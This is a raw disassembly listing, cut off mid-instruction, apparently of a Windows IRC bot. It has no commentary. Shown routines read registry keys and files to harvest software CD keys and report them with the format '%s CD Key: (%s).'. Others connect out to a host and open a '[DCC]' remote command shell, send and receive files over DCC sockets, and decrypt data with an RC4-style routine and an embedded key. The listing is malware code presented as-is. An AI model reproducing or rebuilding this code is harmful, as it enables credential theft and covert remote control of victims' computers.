dword_44B660 ; IsWindow test eax, eax jz short loc_403D3F push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_44B71C ; SendMessageA loc_403D3F: ; CODE XREF: sub_403B83+1AAj push [ebp+var_8] call sub_417480 push esi call sub_417480 pop ecx pop ecx push [ebp+var_4] call dword_44B660 ; IsWindow test eax, eax jz short loc_403D6C push ebx push ebx push 40Bh push [ebp+var_4] call dword_44B71C ; SendMessageA loc_403D6C: ; CODE XREF: sub_403B83+63j ; sub_403B83+D0j ... push [ebp+var_4] call dword_44B770 ; DestroyWindow mov eax, ebx loc_403D77: ; CODE XREF: sub_403B83+39j pop edi pop esi pop ebx leave retn sub_403B83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D7C proc near ; CODE XREF: sub_40C50A+47C2p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_449C74 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow_0 ; "Window" call dword_44B618 mov edi, eax cmp edi, ebx jnz short loc_403DBA mov eax, esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_403DBA: ; CODE XREF: sub_403D7C+35j push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403DD7 push ebx push [ebp+arg_4] push 40Ah push edi call dword_44B71C ; SendMessageA jmp short loc_403DD9 ; --------------------------------------------------------------------------- loc_403DD7: ; CODE XREF: sub_403D7C+47j xor eax, eax loc_403DD9: ; CODE XREF: sub_403D7C+59j cmp eax, ebx jnz short loc_403DE4 loc_403DDD: ; CODE XREF: sub_403D7C+8Bj ; sub_403D7C+BCj mov ebx, esi jmp loc_403FAD ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403D7C+5Fj push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403E04 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_44B71C ; SendMessageA loc_403E04: ; CODE XREF: sub_403D7C+71j cmp [ebp+var_7C], ebx jz short loc_403DDD push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403E27 push ebx push ebx push 42Ch push edi call dword_44B71C ; SendMessageA mov [ebp+arg_4], eax jmp short loc_403E2A ; --------------------------------------------------------------------------- loc_403E27: ; CODE XREF: sub_403D7C+96j mov [ebp+arg_4], ebx loc_403E2A: ; CODE XREF: sub_403D7C+A9j push [ebp+arg_4] call sub_416A10 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_403DDD push [ebp+arg_4] call sub_416A10 mov esi, eax pop ecx cmp esi, ebx jnz short loc_403E51 push 1 pop ebx jmp loc_403FAD ; --------------------------------------------------------------------------- loc_403E51: ; CODE XREF: sub_403D7C+CBj push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403E6E push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_44B71C ; SendMessageA loc_403E6E: ; CODE XREF: sub_403D7C+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_418A00 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_403E89 mov ecx, 0A0h loc_403E89: ; CODE XREF: sub_403D7C+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_403E93 push 78h pop eax loc_403E93: ; CODE XREF: sub_403D7C+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_44B660 ; IsWindow test eax, eax jz short loc_403ED8 push esi push [ebp+arg_4] push 42Dh push edi call dword_44B71C ; SendMessageA loc_403ED8: ; CODE XREF: sub_403D7C+14Aj push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403EF5 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_44B71C ; SendMessageA loc_403EF5: ; CODE XREF: sub_403D7C+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_44B660 ; IsWindow test eax, eax jz short loc_403F33 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_44B71C ; SendMessageA loc_403F33: ; CODE XREF: sub_403D7C+1A3j push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403F4E push [ebp+arg_0] push ebx push 414h push edi call dword_44B71C ; SendMessageA loc_403F4E: ; CODE XREF: sub_403D7C+1C0j push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403F67 push ebx push ebx push 43Eh push edi call dword_44B71C ; SendMessageA loc_403F67: ; CODE XREF: sub_403D7C+1DBj push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403F84 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_44B71C ; SendMessageA loc_403F84: ; CODE XREF: sub_403D7C+1F4j push [ebp+var_4] call sub_417480 push esi call sub_417480 pop ecx pop ecx push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403FAD push ebx push ebx push 40Bh push edi call dword_44B71C ; SendMessageA loc_403FAD: ; CODE XREF: sub_403D7C+63j ; sub_403D7C+D0j ... push edi call dword_44B770 ; DestroyWindow mov eax, ebx loc_403FB6: ; CODE XREF: sub_403D7C+39j pop edi pop esi pop ebx leave retn sub_403D7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FBB proc near ; CODE XREF: sub_40C50A+5866p var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_EC = byte ptr -0ECh var_6C = byte ptr -6Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F0h push edi xor edi, edi cmp off_436904, edi mov [ebp+var_8], 80h jz loc_40416C push ebx push esi mov eax, offset off_436904 mov esi, offset dword_436910 loc_403FE6: ; CODE XREF: sub_403FBB+1A9j lea ecx, [ebp+var_4] push ecx push 20019h push edi push dword ptr [eax] push dword ptr [esi-10h] call dword_44B730 ; RegOpenKeyExA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_EC] push eax push edi push edi push dword ptr [esi-8] push [ebp+var_4] call dword_44B5CC ; RegQueryValueExA test eax, eax jnz loc_404152 mov eax, [esi] cmp eax, edi jz loc_404112 push eax lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_3F0] push offset aSS ; "%s\\%s" push eax call sub_418D70 lea eax, [ebp+var_3F0] push offset aR ; "r" push eax call sub_419D70 mov ebx, eax add esp, 18h cmp ebx, edi jz loc_404152 loc_40405D: ; CODE XREF: sub_403FBB+C9j push ebx lea eax, [ebp+var_6C] push 64h push eax call sub_419B30 add esp, 0Ch test eax, eax jz loc_404109 push dword ptr [esi+4] lea eax, [ebp+var_6C] push eax call sub_419AB0 pop ecx test eax, eax pop ecx jnz short loc_40405D push 3Dh push dword ptr [esi+4] call sub_4199F0 pop ecx test eax, eax pop ecx jz short loc_4040C9 lea eax, [ebp+var_6C] push offset asc_437BD8 ; "=" push eax call sub_419890 push offset asc_437BDC ; "=" push edi call sub_419890 push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset aSCdKeyS_ ; "%s CD Key: (%s)." push eax call sub_418D70 add esp, 20h jmp short loc_4040E4 ; --------------------------------------------------------------------------- loc_4040C9: ; CODE XREF: sub_403FBB+D9j lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset aSCdKeyS__0 ; "%s CD Key: (%s)." push eax call sub_418D70 add esp, 10h loc_4040E4: ; CODE XREF: sub_403FBB+10Cj push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D lea eax, [ebp+var_2EC] push eax call sub_4035E1 add esp, 18h loc_404109: ; CODE XREF: sub_403FBB+B3j push ebx call sub_419740 pop ecx jmp short loc_404152 ; --------------------------------------------------------------------------- loc_404112: ; CODE XREF: sub_403FBB+65j lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset aSCdKeyS__1 ; "%s CD Key: (%s)." push eax call sub_418D70 push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D lea eax, [ebp+var_2EC] push eax call sub_4035E1 add esp, 28h loc_404152: ; CODE XREF: sub_403FBB+5Bj ; sub_403FBB+9Cj ... push [ebp+var_4] call dword_44B69C ; RegCloseKey add esi, 18h cmp [esi-0Ch], edi lea eax, [esi-0Ch] jnz loc_403FE6 pop esi pop ebx loc_40416C: ; CODE XREF: sub_403FBB+19j pop edi leave retn sub_403FBB endp ; =============== S U B R O U T I N E ======================================= sub_40416F proc near ; CODE XREF: sub_4041AA+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4041A4 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_404188: ; CODE XREF: sub_40416F+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_43201C[eax*4] xor esi, eax inc edx dec edi jnz short loc_404188 pop edi pop ebx loc_4041A4: ; CODE XREF: sub_40416F+Ej mov eax, esi pop esi not eax retn sub_40416F endp ; =============== S U B R O U T I N E ======================================= sub_4041AA proc near ; CODE XREF: sub_405084+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_416A10 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_419D70 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4041F9 loc_4041CF: ; CODE XREF: sub_4041AA+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4041FD inc ebx push ebx push esi call sub_416EA0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4041F9 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_419D90 add esp, 10h jmp short loc_4041CF ; --------------------------------------------------------------------------- loc_4041F9: ; CODE XREF: sub_4041AA+23j ; sub_4041AA+39j xor eax, eax jmp short loc_404218 ; --------------------------------------------------------------------------- loc_4041FD: ; CODE XREF: sub_4041AA+29j dec ebx push ebx push esi call sub_40416F push esi mov ebx, eax call sub_417480 push edi call sub_419740 add esp, 10h mov eax, ebx loc_404218: ; CODE XREF: sub_4041AA+51j pop edi pop esi pop ebx retn sub_4041AA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call sub_418E70 mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call sub_4189A0 push esi lea eax, [ebp-240h] push ebx push eax call sub_4189A0 add esp, 1Ch xor eax, eax mov ecx, 100h loc_404326: ; CODE XREF: .text:00404330j mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_404326 cmp [ebp+14h], ebx jz short loc_404355 xor eax, eax loc_404339: ; CODE XREF: .text:00404351j cmp edi, [ebp+14h] jnz short loc_404340 xor edi, edi loc_404340: ; CODE XREF: .text:0040433Cj mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_404339 jmp short loc_40436F ; --------------------------------------------------------------------------- loc_404355: ; CODE XREF: .text:00404335j xor esi, esi loc_404357: ; CODE XREF: .text:0040436Dj cmp edi, [ebp-38h] jnz short loc_40435E xor edi, edi loc_40435E: ; CODE XREF: .text:0040435Aj mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_404357 loc_40436F: ; CODE XREF: .text:00404353j mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_404379: ; CODE XREF: .text:004043B3j mov dl, [ebp+edi-13Ch] mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h mov bl, [ebp+ecx-13Ch] lea ecx, [ebp+ecx-13Ch] mov [esi], bl mov [ecx], dl jb short loc_404379 xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_404411 loc_4043C2: ; CODE XREF: .text:0040440Fj inc edi and edi, eax mov dl, [ebp+edi-13Ch] lea ecx, [ebp+edi-13Ch] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov bl, [ebp+esi-13Ch] mov [ebp+14h], esi mov [ecx], bl lea esi, [ebp+esi-13Ch] mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4043C2 loc_404411: ; CODE XREF: .text:004043C0j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404416 proc near ; CODE XREF: sub_40449C+33p ; sub_404A02+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_44B740 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_404492 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_44B6C0 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_44B700 ; inet_addr cmp eax, esi jnz short loc_404477 push [ebp+arg_0] call dword_44B744 ; gethostbyname test eax, eax jz short loc_404492 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_404477: ; CODE XREF: sub_404416+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_44B668 ; connect cmp eax, esi jnz short loc_404496 push edi call dword_44B758 ; closesocket loc_404492: ; CODE XREF: sub_404416+1Bj ; sub_404416+58j mov eax, esi jmp short loc_404498 ; --------------------------------------------------------------------------- loc_404496: ; CODE XREF: sub_404416+73j mov eax, edi loc_404498: ; CODE XREF: sub_404416+7Ej pop edi pop esi leave retn sub_404416 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; DATA XREF: sub_40C50A+A07o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_418D40 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_404416 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40452F lea eax, [ebp+var_11B4] push offset aDccFailedToOpe ; "[DCC]: Failed to open socket." push eax call sub_418D70 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_404512 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40842D add esp, 14h loc_404512: ; CODE XREF: sub_40449C+59j lea eax, [ebp+var_11B4] push eax call sub_4035E1 push [ebp+var_10] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC loc_40452F: ; CODE XREF: sub_40449C+3Fj push offset dword_449CD8 push ebx call sub_412E64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40459A lea eax, [ebp+var_11B4] push offset aDccFailedToO_0 ; "[DCC]: Failed to open remote command sh"... push eax call sub_418D70 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_404576 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40842D add esp, 14h loc_404576: ; CODE XREF: sub_40449C+BDj lea eax, [ebp+var_11B4] push eax call sub_4035E1 pop ecx push ebx call dword_44B758 ; closesocket push [ebp+var_10] call sub_416507 pop ecx push esi call ds:dword_4942FC loc_40459A: ; CODE XREF: sub_40449C+A3j push 64h call ds:dword_4942D8 xor edi, edi mov esi, 1000h loc_4045A9: ; CODE XREF: sub_40449C+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_44B6D8 ; recv test eax, eax jle short loc_404606 lea eax, [ebp+var_11B4] push offset asc_437C6C ; "\n" push eax call sub_419FB0 lea eax, [ebp+var_11B4] push eax call sub_412C50 add esp, 0Ch test eax, eax jz short loc_404606 push 64h call ds:dword_4942D8 push 7 call sub_416433 test eax, eax pop ecx jnz short loc_4045A9 loc_404606: ; CODE XREF: sub_40449C+130j ; sub_40449C+154j lea eax, [ebp+var_11B4] push offset aDccFailedToSen ; "[DCC]: Failed to send to Remote command"... push eax call sub_418D70 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_404639 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40842D add esp, 14h loc_404639: ; CODE XREF: sub_40449C+180j lea eax, [ebp+var_11B4] push eax call sub_4035E1 pop ecx push ebx call dword_44B758 ; closesocket push [ebp+var_10] call sub_416507 pop ecx push edi call ds:dword_4942FC sub_40449C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40465D proc near ; DATA XREF: sub_40C50A+4A8Ao var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_44B740 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_4046AB push offset aDccFailedToCre ; "[DCC]: Failed to create socket." jmp loc_404864 ; --------------------------------------------------------------------------- loc_4046AB: ; CODE XREF: sub_40465D+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_44B6C0 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_44B6EC ; bind test eax, eax jz short loc_4046E9 push offset aDccFailedToBin ; "[DCC]: Failed to bind to socket." jmp loc_404864 ; --------------------------------------------------------------------------- loc_4046E9: ; CODE XREF: sub_40465D+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_44B664 ; getsockname push [ebp+var_2E] call dword_44B5FC ; htons mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_418E70 pop ecx loc_40471B: ; CODE XREF: sub_40465D+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40472E push 5Fh pop eax jmp short loc_404731 ; --------------------------------------------------------------------------- loc_40472E: ; CODE XREF: sub_40465D+CAj movsx eax, al loc_404731: ; CODE XREF: sub_40465D+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_418E70 cmp [ebp+arg_0], eax pop ecx jbe short loc_40471B push ebx push edi call dword_44B6E8 ; listen test eax, eax jz short loc_404764 push offset aDccFailedToO_1 ; "[DCC]: Failed to open socket." jmp loc_404864 ; --------------------------------------------------------------------------- loc_404764: ; CODE XREF: sub_40465D+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call ds:dword_4942EC cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40478E push offset aDccFileDoesnTE ; "[DCC]: File doesn't exist." jmp loc_404864 ; --------------------------------------------------------------------------- loc_40478E: ; CODE XREF: sub_40465D+125j push esi push eax call ds:dword_49431C mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AFEC pop ecx push eax call dword_44B700 ; inet_addr push eax call dword_44B6BC ; htonl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_437D20 push eax call sub_418D70 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40842D add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_44B6A8 ; select test eax, eax jg short loc_40483E push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset aDccSendTimeout ; "[DCC]: Send timeout." push eax push [ebp+var_1FC] call sub_40842D jmp loc_404962 ; --------------------------------------------------------------------------- loc_40483E: ; CODE XREF: sub_40465D+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_44B754 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_404877 push offset aDccUnableToOpe ; "[DCC]: Unable to open socket." loc_404864: ; CODE XREF: sub_40465D+49j ; sub_40465D+87j ... lea eax, [ebp+var_3FC] push eax call sub_418D70 pop ecx pop ecx jmp loc_404965 ; --------------------------------------------------------------------------- loc_404877: ; CODE XREF: sub_40465D+200j push edi call dword_44B758 ; closesocket cmp [ebp+arg_0], esi jz loc_404929 mov edi, 400h loc_40488C: ; CODE XREF: sub_40465D+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_404899 mov [ebp+var_4], eax loc_404899: ; CODE XREF: sub_40465D+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_4189A0 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_494318 lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_4942DC push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_44B710 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_44B6D8 ; recv cmp eax, ebx jl loc_4049BE mov eax, [ebp+var_4] cmp eax, ebx jl loc_4049BE sub [ebp+arg_0], eax jnz loc_40488C mov edi, [ebp+var_18] loc_404929: ; CODE XREF: sub_40465D+224j push [ebp+var_8] call ds:dword_4942E0 push [ebp+var_C] push [ebp+var_10] call sub_4055AD pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_3FC] push offset aDccTransferCom ; "[DCC]: Transfer complete to IP: %s, Fil"... push eax call sub_418D70 loc_404962: ; CODE XREF: sub_40465D+1DCj add esp, 14h loc_404965: ; CODE XREF: sub_40465D+215j cmp [ebp+var_50], esi jnz short loc_40498A push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40842D add esp, 14h loc_40498A: ; CODE XREF: sub_40465D+30Bj lea eax, [ebp+var_3FC] push eax call sub_4035E1 cmp edi, esi pop ecx jbe short loc_4049A2 push edi call dword_44B758 ; closesocket loc_4049A2: ; CODE XREF: sub_40465D+33Cj push [ebp+var_1F8] call dword_44B758 ; closesocket push [ebp+var_58] call sub_416507 pop ecx push esi call ds:dword_4942FC loc_4049BE: ; CODE XREF: sub_40465D+2AFj ; sub_40465D+2BAj push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset aDccSocketError ; "[DCC]: Socket error." push eax push [ebp+var_1FC] call sub_40842D push offset aDccSocketErr_0 ; "[DCC]: Socket error." call sub_4035E1 add esp, 18h push [ebp+var_1F8] call dword_44B758 ; closesocket push [ebp+var_58] call sub_416507 pop ecx push ebx call ds:dword_4942FC sub_40465D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A02 proc near ; DATA XREF: sub_40C50A+797o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_418D40 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call ds:dword_494320 lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_0 ; "%s%s" push eax call sub_418D70 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_4942EC cmp eax, 0FFFFFFFFh jnz short loc_404A8C push offset aDccErrorUnable ; "[DCC]: Error unable to write file to di"... jmp short loc_404AD2 ; --------------------------------------------------------------------------- loc_404A8C: ; CODE XREF: sub_404A02+81j push eax call ds:dword_4942E0 lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_419D70 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_404AB4 push offset aDccErrorOpenin ; "[DCC]: Error opening file for writing." jmp short loc_404AD2 ; --------------------------------------------------------------------------- loc_404AB4: ; CODE XREF: sub_404A02+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_404416 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_404AE5 push offset aDccErrorOpen_0 ; 